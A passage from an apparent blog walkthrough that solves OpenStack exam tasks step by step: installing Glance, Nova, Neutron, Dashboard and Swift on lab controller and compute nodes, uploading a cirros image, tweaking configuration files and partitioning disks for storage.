id="question-7-glance-installation-and-usage-05-points"><strong>[Question 7] Glance Installation and Usage [0.5 points]</strong></h4> <p>Use the <code>iaas-install-glance.sh</code> script on the <strong>controller node</strong> to install the <strong>glance service</strong>. Use the command to upload the provided <code>cirros-0.3.4-x86_64-disk.img</code> image (<strong>which is available on an HTTP service and can be downloaded independently</strong>) to the platform, name it cirros, and set the minimum required disk size for startup to <strong>10G</strong> and the minimum required memory for startup to <strong>1G</strong>. After completion, submit the username, password, and IP address of the controller node to the answer box.</p> </blockquote> <p>Well, it&rsquo;s a little chanllenging, isn&rsquo;t it?</p> <p>But don&rsquo;t worry, we do the installation at first:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-glance.sh </span></span></code></pre></td></tr></table> </div> </div><p>Then we download the <code>cirros-0.3.4-x86_64-disk.img</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# cd ~ </span></span><span class="line"><span class="cl">[root@controller ~]# wget http://192.168.56.100/img/cirros-0.3.4-x86_64-disk.img </span></span></code></pre></td></tr></table> </div> </div><p>Confirm the filename:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# ls -lh </span></span><span class="line"><span class="cl">total 13M </span></span><span class="line"><span class="cl">-rw-------. 1 root root 1.3K May 4 16:09 anaconda-ks.cfg </span></span><span class="line"><span class="cl">-rw-r--r-- 1 root root 13M Apr 27 2022 cirros-0.3.4-x86_64-disk.img </span></span></code></pre></td></tr></table> </div> </div><p>Then we execute the command to upload the image:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# openstack image create --disk-format qcow2 --container-format bare --min-disk 10 --min-ram 1024 --file ./cirros-0.3.4-x86_64-disk.img cirros </span></span></code></pre></td></tr></table> </div> </div><p>Then you will see the result returned by terminal:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span><span class="line"><span class="cl">| checksum | ee1eca47dc88f4879d8a229cc70a07c6 | </span></span><span class="line"><span class="cl">| container_format | bare | </span></span><span class="line"><span class="cl">| created_at | 2023-05-05T15:01:42Z | </span></span><span class="line"><span class="cl">| disk_format | qcow2 | </span></span><span class="line"><span class="cl">| file | /v2/images/62102ae0-27c3-4bc1-ad87-44be814237f4/file | </span></span><span class="line"><span class="cl">| id | 62102ae0-27c3-4bc1-ad87-44be814237f4 | </span></span><span class="line"><span class="cl">| min_disk | 10 | </span></span><span class="line"><span class="cl">| min_ram | 1024 | </span></span><span class="line"><span class="cl">| name | cirros | </span></span><span class="line"><span class="cl">| owner | b0787807ee924b179cc02799bc595d38 | </span></span><span class="line"><span class="cl">| properties | os_hash_algo=&#39;sha512&#39;, os_hash_value=&#39;1b03ca1bc3fafe448b90583c12f367949f8b0e665685979d95b004e48574b953316799e23240f4f739d1b5eb4c4ca24d38fdc6f4f9d8247a2bc64db25d6bbdb2&#39;, os_hidden=&#39;False&#39; | </span></span><span class="line"><span class="cl">| protected | False | </span></span><span class="line"><span class="cl">| schema | /v2/schemas/image | </span></span><span class="line"><span class="cl">| size | 13287936 | </span></span><span class="line"><span class="cl">| status | active | </span></span><span class="line"><span class="cl">| tags | | </span></span><span class="line"><span class="cl">| updated_at | 2023-05-05T15:01:42Z | </span></span><span class="line"><span class="cl">| virtual_size | None | </span></span><span class="line"><span class="cl">| visibility | shared | </span></span><span class="line"><span class="cl">+------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>It means the operation is finished and successful!</p> <p>Now this quiz was solved!</p> <blockquote> <h4 id="question-8-nova-installation-and-optimization-05-points"><strong>[Question 8] Nova Installation and Optimization [0.5 points]</strong></h4> <p>Use the <code>iaas-install-placement.sh</code>, <code>iaas-install-nova-controller.sh</code>, and <code>iaas-install-nova-compute.sh</code> scripts to install the <strong>Nova</strong> service on the <strong>controller node</strong> and <strong>compute node</strong> respectively. After installation, please modify the relevant Nova configuration files to solve the problem of virtual machine startup timeout due to long waiting time, which leads to failure to obtain IP address and error reporting. After configuring, submit the username, password, and IP address of the controller node to the answer box.</p> </blockquote> <p>We should run <code>iaas-install-placement.sh</code> script in controller node to install the placment service at first:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# cd /usr/local/bin/ </span></span><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-placement.sh </span></span></code></pre></td></tr></table> </div> </div><p>After installation of placement, we should run <code>iaas-install-nova-controller.sh</code> script to install nova service in controller node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-nova-controller.sh </span></span></code></pre></td></tr></table> </div> </div><p>Then we should install nova service in compute node, but before that we should copy the public key of controller node to it.</p> <p>So we run:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# ssh-copy-id root@controller </span></span></code></pre></td></tr></table> </div> </div><p>Then run <code>iaas-install-nova-compute.sh</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# cd /usr/local/bin/ </span></span><span class="line"><span class="cl">[root@compute bin]# ./iaas-install-nova-compute.sh </span></span></code></pre></td></tr></table> </div> </div><p>Installed!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+----+--------------+---------+------+---------+-------+------------+ </span></span><span class="line"><span class="cl">| ID | Binary | Host | Zone | Status | State | Updated At | </span></span><span class="line"><span class="cl">+----+--------------+---------+------+---------+-------+------------+ </span></span><span class="line"><span class="cl">| 6 | nova-compute | compute | nova | enabled | up | None | </span></span><span class="line"><span class="cl">+----+--------------+---------+------+---------+-------+------------+ </span></span><span class="line"><span class="cl">Found 2 cell mappings. </span></span><span class="line"><span class="cl">Skipping cell0 since it does not contain hosts. </span></span><span class="line"><span class="cl">Getting computes from cell &#39;cell1&#39;: d955f2a9-ec41-4ea0-b72a-8f3c38977c2e </span></span><span class="line"><span class="cl">Checking host mapping for compute host &#39;compute&#39;: c17f7c5c-5821-4891-b6ca-a6684b028db1 </span></span><span class="line"><span class="cl">Creating host mapping for compute host &#39;compute&#39;: c17f7c5c-5821-4891-b6ca-a6684b028db1 </span></span><span class="line"><span class="cl">Found 1 unmapped computes in cell: d955f2a9-ec41-4ea0-b72a-8f3c38977c2e </span></span></code></pre></td></tr></table> </div> </div><p>Then run the check command in controller to verify if the nova service installed successfully!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# source /etc/keystone/admin-openrc.sh </span></span><span class="line"><span class="cl">[root@controller bin]# openstack compute service list </span></span></code></pre></td></tr></table> </div> </div><p>And you will see the hostname of compute node:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">+----+----------------+------------+----------+---------+-------+----------------------------+ </span></span><span class="line"><span class="cl">| ID | Binary | Host | Zone | Status | State | Updated At | </span></span><span class="line"><span class="cl">+----+----------------+------------+----------+---------+-------+----------------------------+ </span></span><span class="line"><span class="cl">| 4 | nova-conductor | controller | internal | enabled | up | 2023-05-06T03:14:27.000000 | </span></span><span class="line"><span class="cl">| 5 | nova-scheduler | controller | internal | enabled | up | 2023-05-06T03:14:28.000000 | </span></span><span class="line"><span class="cl">| 6 | nova-compute | compute | nova | enabled | up | 2023-05-06T03:14:25.000000 | </span></span><span class="line"><span class="cl">+----+----------------+------------+----------+---------+-------+----------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>Ok, now we should do the final operation, edit the file <code>/etc/nova/nova.conf</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# vim /etc/nova/nova.conf </span></span></code></pre></td></tr></table> </div> </div><p>Just simply change <code>#vif_plugging_is_fatal=true</code> to <code>vif_plugging_is_fatal=false</code>, but we can use vim command quickly:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span>%<span class="nx">s</span><span class="sr">/#vif_plugging_is_fatal=true/</span><span class="nx">vif_plugging_is_fatal</span><span class="p">=</span><span class="nx">false</span>/<span class="nx">g</span> </span></span></code></pre></td></tr></table> </div> </div><p>And save it!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span><span class="nx">wq</span> </span></span></code></pre></td></tr></table> </div> </div><p>So we solved a quiz again! Congratulations!</p> <blockquote> <h4 id="question-9-neutron-installation-05-points"><strong>[Question 9] Neutron Installation [0.5 points]</strong></h4> <p>Using the provided scripts <code>iaas-install-neutron-controller.sh</code> and <code>iaas-install-neutron-compute.sh</code>, install the neutron service on the controller and compute nodes. After completion, submit the username, password, and IP address of the control node to the answer box.</p> </blockquote> <p>This quiz is easy, just run the scripts in each nodes:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-neutron-controller.sh </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# ./iaas-install-neutron-compute.sh </span></span></code></pre></td></tr></table> </div> </div><p>Then the Neutron Service was installed successfully! Quiz Solved!</p> <blockquote> <h4 id="question-10-installation-of-doshboard-05-points"><strong>[Question 10] Installation of Doshboard [0.5 points]</strong></h4> <p>Use the <code>iaas-install-dashboad.sh</code> script to install the dashboard service on the controller node. After installation, modify the Djingo data in the Dashboard to be stored in a file (this modification solves the problem of ALL-in-one snapshots not being accessible in other cloud platform dashboards). After completion, submit the username, password and IP address of the controller node to the answer box.</p> </blockquote> <p>Run <code>iaas-install-dashboad.sh</code> script:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-dashboard.sh </span></span></code></pre></td></tr></table> </div> </div><p>Edit the file <code>/etc/openstack-dashboard/local_settings</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# vim /etc/openstack-dashboard/local_settings </span></span></code></pre></td></tr></table> </div> </div><p>Replace <code>SESSION_ENGINE = 'django.contrib.sessions.backends.cache'</code> to <code>SESSION_ENGINE = 'django.contrib.sessions.backends.file'</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span>%<span class="nx">s</span><span class="sr">/SESSION_ENGINE = &#39;django.contrib.sessions.backends.cache&#39;/</span><span class="nx">SESSION_ENGINE</span> <span class="p">=</span> <span class="s1">&#39;django.contrib.sessions.backends.file&#39;</span>/<span class="nx">g</span> </span></span></code></pre></td></tr></table> </div> </div><p>Save the file:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span><span class="nx">wq</span> </span></span></code></pre></td></tr></table> </div> </div><p>And visit the Dashboard by browser</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">http://192.168.56.2/dashboard </span></span></code></pre></td></tr></table> </div> </div><p>You will see the login page.</p> <p></p> <p>Login with username <code>admin</code> and password <code>000000</code>.</p> <p></p> <p>Then Dashboard was installed successfully.</p> <blockquote> <h4 id="question-11-swift-installation-05-points"><strong>[Question 11] Swift Installation [0.5 points]</strong></h4> <p>Use the <code>iaas-install-swift-controller.sh</code> and <code>iaas-install-swift-compute.sh</code> scripts to install the Swift service on the control and compute nodes respectively. After installation, use a command to create a container named &ldquo;examcontainer&rdquo;, upload the <code>cirros-0.3.4-x86_64-disk.img</code> image to the &ldquo;examcontainer&rdquo; container, and set segment storage with a size of <code>10M</code> for each segment. Once completed, submit the username, password, and IP address of the control node to the answer box.</p> </blockquote> <p>At first we need to create partitions in compute node</p> <p>We need to check the disks:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# fdisk -l </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Disk /dev/sda: 53.7 GB, 53687091200 bytes, 104857600 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">Disk label type: dos </span></span><span class="line"><span class="cl">Disk identifier: 0x000d6c03 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> Device Boot Start End Blocks Id System </span></span><span class="line"><span class="cl">/dev/sda1 * 2048 2099199 1048576 83 Linux </span></span><span class="line"><span class="cl">/dev/sda2 2099200 104857599 51379200 8e Linux LVM </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Disk /dev/sdc: 3221 MB, 3221225472 bytes, 6291456 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Disk /dev/mapper/centos-root: 48.4 GB, 48444211200 bytes, 94617600 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Disk /dev/mapper/centos-swap: 4160 MB, 4160749568 bytes, 8126464 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span></code></pre></td></tr></table> </div> </div><p>We&rsquo;ll get information below:</p> <ul> <li> <p><code>/dev/sdb</code> is a disk with a size of 21.5 GB and no partitions.</p> </li> <li> <p><code>/dev/sdc</code> is a disk with a size of 3221 MB (3.2 GB) and no partitions.</p> </li> </ul> <p>We need create 2 partitions in <code>sdb</code>: <code>sdb1</code> and <code>sdb2</code></p> <p><code>sdb1</code> for cinder and <code>sdb2</code> for swift.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# fdisk /dev/sdb </span></span><span class="line"><span class="cl">Welcome to fdisk (util-linux 2.23.2). </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Changes will remain in memory only, until you decide to write them. </span></span><span class="line"><span class="cl">Be careful before using the write command. </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Device does not contain a recognized partition table </span></span><span class="line"><span class="cl">Building a new DOS disklabel with disk identifier 0xe8f17fde. </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): n </span></span><span class="line"><span class="cl">Partition type: </span></span><span class="line"><span class="cl"> p primary (0 primary, 0 extended, 4 free) </span></span><span class="line"><span class="cl"> e extended </span></span><span class="line"><span class="cl">Select (default p): p </span></span><span class="line"><span class="cl">Partition number (1-4, default 1): </span></span><span class="line"><span class="cl">First sector (2048-41943039, default 2048): +10G </span></span><span class="line"><span class="cl">Last sector, +sectors or +size{K,M,G} (20971520-41943039, default 41943039): </span></span><span class="line"><span class="cl">Using default value 41943039 </span></span><span class="line"><span class="cl">Partition 1 of type Linux and of size 10 GiB is set </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): n </span></span><span class="line"><span class="cl">Partition type: </span></span><span class="line"><span class="cl"> p primary (1 primary, 0 extended, 3 free) </span></span><span class="line"><span class="cl"> e extended </span></span><span class="line"><span class="cl">Select (default p): p </span></span><span class="line"><span class="cl">Partition number (2-4, default 2): </span></span><span class="line"><span class="cl">First sector (2048-41943039, default 2048): </span></span><span class="line"><span class="cl">Using default value 2048 </span></span><span class="line"><span class="cl">Last sector, +sectors or +size{K,M,G} (2048-20971519, default 20971519): </span></span><span class="line"><span class="cl">Using default value 20971519 </span></span><span class="line"><span class="cl">Partition 2 of type Linux and of size 10 GiB is set </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): p </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors </span></span><span class="line"><span class="cl">Units = sectors of 1 * 512 = 512 bytes </span></span><span class="line"><span class="cl">Sector size (logical/physical): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">I/O size (minimum/optimal): 512 bytes / 512 bytes </span></span><span class="line"><span class="cl">Disk label type: dos </span></span><span class="line"><span class="cl">Disk identifier: 0xe8f17fde </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> Device Boot Start End Blocks Id System </span></span><span class="line"><span class="cl">/dev/sdb1 20971520 41943039 10485760 83 Linux </span></span><span class="line"><span class="cl">/dev/sdb2 2048 20971519 10484736 83 Linux </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Partition table entries are not in disk order </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Command (m for help): w </span></span><span class="line"><span class="cl">The partition table has been altered! </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Calling ioctl() to re-read partition table. </span></span><span class="line"><span class="cl">Syncing disks. </span></span></code></pre></td></tr></table> </div> </div><p>Format the partitions:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# mkfs.ext4 /dev/sdb1 </span></span><span class="line"><span class="cl">mke2fs 1.42.9 (28-Dec-2013) </span></span><span class="line"><span class="cl">Filesystem label= </span></span><span class="line"><span class="cl">OS type: Linux </span></span><span class="line"><span class="cl">Block size=4096 (log=2) </span></span><span class="line"><span class="cl">Fragment size=4096 (log=2) </span></span><span class="line"><span class="cl">Stride=0 blocks, Stripe width=0 blocks </span></span><span class="line"><span class="cl">655360 inodes, 2621440 blocks </span></span><span class="line"><span class="cl">131072 blocks (5.00%) reserved for the super user </span></span><span class="line"><span class="cl">First data block=0 </span></span><span class="line"><span class="cl">Maximum filesystem blocks=2151677952 </span></span><span class="line"><span class="cl">80 block groups </span></span><span class="line"><span class="cl">32768 blocks per group, 32768 fragments per group </span></span><span class="line"><span class="cl">8192 inodes per group </span></span><span class="line"><span class="cl">Superblock backups stored on blocks: </span></span><span class="line"><span class="cl"> 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Allocating group tables: done </span></span><span class="line"><span class="cl">Writing inode tables: done </span></span><span class="line"><span class="cl">Creating journal (32768 blocks): done </span></span><span class="line"><span class="cl">Writing superblocks and filesystem accounting information: done </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute bin]# mkfs.ext4 /dev/sdb2 </span></span><span class="line"><span class="cl">mke2fs 1.42.9 (28-Dec-2013) </span></span><span class="line"><span class="cl">Filesystem label= </span></span><span class="line"><span class="cl">OS type: Linux </span></span><span class="line"><span class="cl">Block size=4096 (log=2) </span></span><span class="line"><span class="cl">Fragment size=4096 (log=2) </span></span><span class="line"><span class="cl">Stride=0 blocks, Stripe width=0 blocks </span></span><span class="line"><span class="cl">655360 inodes, 2621184 blocks </span></span><span class="line"><span class="cl">131059 blocks (5.00%) reserved for the super user </span></span><span class="line"><span class="cl">First data block=0 </span></span><span class="line"><span class="cl">Maximum filesystem blocks=2151677952 </span></span><span class="line"><span class="cl">80 block groups </span></span><span class="line"><span class="cl">32768 blocks per group, 32768 fragments 